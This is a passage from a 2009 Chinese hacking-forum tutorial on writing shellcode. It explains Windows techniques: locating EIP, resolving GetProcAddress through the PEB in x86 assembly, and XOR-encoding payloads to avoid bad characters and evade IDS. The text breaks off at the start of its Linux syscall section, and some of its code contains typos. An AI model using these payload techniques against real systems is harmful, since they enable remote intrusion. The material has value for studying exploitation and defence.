从头说起—浅谈Linux ShellCode



Author: wangweinoo1[A.X.D]
EMail: wangweinoo1@gmail.com
Date: 2009.1.14
Note:本人首发于shudoo,后由原创作者提交至邪八,转载请注明

文章目录:
1.什么是ShellCode
2.Shellcode编写考虑因素
3.从Windows ShellCode说起
4.正题开始——Linux系统调用
5.第一个Linux ShellCode
6.绑定端口的shellcode
7.总结

一、什么是ShellCode
    让我们从一个经典的故事开始ShellCode之旅
    话说某天某爱国黑客编译了一个Nday溢出利用程序来攻击CNN,输入IP并且enter之后发现目标服务器没有反应,于是拿出sniffer抓包分析...“Oh ,my dog!居然没有带shellcode!”为什么 shellcode对于一个exploit来说这么重要呢?Shellcode到底是什么东西呢?
    简单的说,Shellcode是一段能够完成某种特定功能的二进制代码。具体完成什么任务是由攻击者决定的,可能是开启一个新的shell或者下载某个特定的程序也或者向攻击者返回一个shell等等。
    Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
    因为shellcode将会直接操作寄存器和一些系统调用,所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译,反汇编从而得到16进制的操作码,当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。
    接下来就一起来解开shellcode的神秘面纱吧~

二、Shellcode编写考虑因素
    Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但Shellcode在编写过程中,有些问题是一致的:
    1.Shellcode的编写语言
    用什么语言编写最适合Shellcode呢?这个问题没有定论。Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许多。例如,这里有一个写好的模板:复制内容到剪贴板代码:
        void Shellcode()
       {
           __asm
       {
           nop
           nop
           nop
           nop
           nop
           nop
           nop
           nop
        }
        }然后在main()中用函数指针操作和memcmp定位shellcode,用pintf之类函数将shellcode打出来或保存即可。示例代码我就不写了。纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?
    2.Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中
    3.Shellcode中使用的API地址定位。
    4.Shellcode编码问题。
    5.多态技术躲避IDS检测。
    这些问题我将在后面几章与大家探讨


三、从Windows ShellCode说起
    在本章,我将和大家谈谈关于程序EIP的获取、API的地址定位、ShellCode编码
    1.Shellcode代码地址定位,获取程序EIP
     为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么
定位的:利用CALL/POP来实现。 这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows熟悉之后的方法,成功率非常高。(感谢各位逆向大牛。。。)我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。而Shellcode
在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址
的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文
件中,地址一般为7FXXXXXX。具体细节,限于篇幅,就不在这里赘述了,大家可以baidu一下。
    2.Shellcode中的API地址定位
    Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让
Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE
文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我
们这里使用从进程PEB中获取,示例代码如下:复制内容到剪贴板代码:
__asm
{
push ebp;
sub esp, 0x40;
mov ebp,esp;

push ebp;
mov eax, fs:0x30 ;PEB
mov eax, [eax + 0x0c] ;Ldr
mov esi, [eax + 0x1c] ;Flink
lodsd
mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址

mov eax, [edi+3Ch] ;eax = PE首部
mov edx,[edi+eax+78h]
add edx,edi ;edx = 输出表地址
mov ecx,[edx+18h] ;ecx = 输出函数的个数
mov ebx,[edx+20h]
add ebx,edi ;ebx =函数名地址,AddressOfName
search:
dec ecx
mov esi,[ebx+ecx*4]
add esi,edi ;依次找每个函数名称
;GetProcAddress
mov eax,0x50746547
cmp [esi], eax; PteG
jne search
mov eax,0x41636f72
cmp [esi+4],eax; Acor
jne search

;如果是GetProcA,表示找到了
mov ebx,[edx+24h]
add ebx,edi ;ebx = 索引号地址,AddressOf
mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值
mov ebx,[edx+1Ch]
add ebx,edi ;ebx = 函数地址的起始位置,AddressOfFunction
mov eax,[ebx+ecx*4]
add eax,edi ;利用索引值,计算出GetProcAddress的地址


mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了,和C没什么两样,略过了吧,细节才是最麻烦的。。。。
    3.Shellcode的编码问题
    这是让俺们这些菜菜写ShellCode最头疼的东西了。。。例如:strcpy函数中不能有0x00,RPC DOCM溢出时不能用0x5c等等。因为假如有这些字符,会导致服务中断Shellcode,溢出失败。不同溢出对shellcode要求不同,当然需要精选字符来达到目的,这样太累了些,简单点就是写一段代码,示例如下:复制内容到剪贴板代码:
for(i=0;i ch=sc_buff^Enc_key;
//对可能字符进行替换
if(ch<=0x1f||ch== ||ch==.||ch==/||ch==\||ch==0||ch==?||ch==%||ch==+)
{
buff=0;
++k;
ch+=0x31;
}
//将编码Code放在DecryptSc后
buff[k]=ch;
++k;
}
解码时代码 解码时代码,示例如下:
jmp next
getEncodeAddr:
pop edi
push edi
pop esi
xor ecx,ecx
Decrypt_lop:
loasb
cmp al,cl
jz shell
cmp al,0x30 //判断是否为特殊字符
jz specal_char_clean
store:
xor al,Enc_key
stosb
jmp Decrypt_lop
special_char_clean:
lodsb
sub al,0x31
jmp store
next:
call getEncodeAddr这里只给了一个简单的例子,面对对Unicode编码有要求的,限于篇幅,这里就不详解了
    原本不想把Windows shell写这么多的,写写就写多了,唉,果然没有什么经验。本章最后再说一点RP问题。ShellCode写起来会很辛苦,够俺这种菜菜一个code得写N天天。。。但写罢,你就会知道成就感是什么了。。。^_^另外这里不是教你做EXP去害人,只是从研究角度出发,让大家了解这种技术,从而加以防范,为网络和平安宁奉献自己的力量。

四、正题开始——Linux系统调用
    为什么编写shellcode需要了解系统调用呢?因为系统调用是 用户态和内核态之间的一座桥梁。大多数操作系统都提供了很多应用程序可以访问到的核心函数,shellcode当然也需要调用这些 核心函数。Linux系统提供的核心函数可以方便的实现用来访问文件,执行命令,网络通信等等功能。这些函数就被成为系统调用(System Call)。
    想知道系统上到底有哪些系统调用可以用,直接查看内核代码即可得到。Linux的系统调用在以下文件中定义:/usr/include/asm-i386 /unistd.h,该文件包含了系统中每个可用的系统调用的定义,内容大概如下:复制内容

相关内容

    暂无相关文章